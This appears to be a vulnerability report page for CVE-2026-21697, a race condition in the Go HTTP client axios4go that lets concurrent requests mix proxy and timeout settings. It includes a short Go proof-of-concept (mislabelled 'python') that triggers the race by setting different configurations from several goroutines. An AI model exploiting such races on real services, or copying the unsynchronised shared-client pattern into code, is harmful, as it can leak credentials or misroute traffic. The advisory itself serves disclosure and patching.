Security Vulnerability Report
中文
CVE-2026-21697 CVSS 8.1 HIGH

CVE-2026-21697

Published: 2026-01-07 23:15:51
Last Modified: 2026-03-09 13:57:52

Description

axios4go is a Go HTTP client library. Prior to version 0.6.4, a race condition vulnerability exists in the shared HTTP client configuration. The global `defaultClient` is mutated during request execution without synchronization, directly modifying the shared `http.Client`'s `Transport`, `Timeout`, and `CheckRedirect` properties. Impacted applications include that that use axios4go with concurrent requests (multiple goroutines, `GetAsync`, `PostAsync`, etc.), those where different requests use different proxy configurations, and those that handle sensitive data (authentication credentials, tokens, API keys). Version 0.6.4 fixes this issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rezmoss:axios4go:*:*:*:*:*:go:*:* - VULNERABLE
axios4go < 0.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21697 PoC - Race Condition in axios4go // This PoC demonstrates the race condition vulnerability package main import ( "fmt" "sync" "time" "github.com/rezmoss/axios4go" ) func main() { // Create multiple goroutines that modify client settings concurrently var wg sync.WaitGroup // Simulate concurrent requests with different configurations for i := 0; i < 10; i++ { wg.Add(1) go func(id int) { defer wg.Done() // Each goroutine sets different timeout and proxy timeout := time.Duration(5+id) * time.Second proxy := fmt.Sprintf("http://proxy-%d.local:8080", id) // Race condition: concurrent modification of shared client axios.SetTimeout(timeout) axios.SetProxy(proxy) // Make request - may use incorrect configuration _, err := axios.Get("https://example.com/api/test") if err != nil { fmt.Printf("Goroutine %d: Request error: %v\n", id, err) } }(i) } wg.Wait() fmt.Println("Race condition PoC completed") // Expected behavior: Configuration mixing between requests // Actual behavior: Data race detected or incorrect configurations used }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21697", "sourceIdentifier": "[email protected]", "published": "2026-01-07T23:15:50.533", "lastModified": "2026-03-09T13:57:52.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "axios4go is a Go HTTP client library. Prior to version 0.6.4, a race condition vulnerability exists in the shared HTTP client configuration. The global `defaultClient` is mutated during request execution without synchronization, directly modifying the shared `http.Client`'s `Transport`, `Timeout`, and `CheckRedirect` properties. Impacted applications include that that use axios4go with concurrent requests (multiple goroutines, `GetAsync`, `PostAsync`, etc.), those where different requests use different proxy configurations, and those that handle sensitive data (authentication credentials, tokens, API keys). Version 0.6.4 fixes this issue."}, {"lang": "es", "value": "axios4go es una biblioteca cliente HTTP de Go. Antes de la versión 0.6.4, existe una vulnerabilidad de condición de carrera en la configuración compartida del cliente HTTP. El `defaultClient` global se muta durante la ejecución de la solicitud sin sincronización, modificando directamente las propiedades `Transport`, `Timeout` y `CheckRedirect` del `http.Client` compartido. Las aplicaciones afectadas incluyen aquellas que usan axios4go con solicitudes concurrentes (múltiples goroutines, `GetAsync`, `PostAsync`, etc.), aquellas donde diferentes solicitudes usan diferentes configuraciones de proxy, y aquellas que manejan datos sensibles (credenciales de autenticación, tokens, claves API). La versión 0.6.4 corrige este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rezmoss:axios4go:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.6.4", "matchCriteriaId": "53BFBFF7-32A9-4C6A-B563-6CABA5301DE5"}]}]}], "references": [{"url": "https://github.com/rezmoss/axios4go/commit/b651604c64e66a115ab90cdab358b0181d74a842", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rezmoss/axios4go/releases/tag/v0.6.4", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/rezmoss/axios4go/security/advisories/GHSA-cmj9-27wj-7x47", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}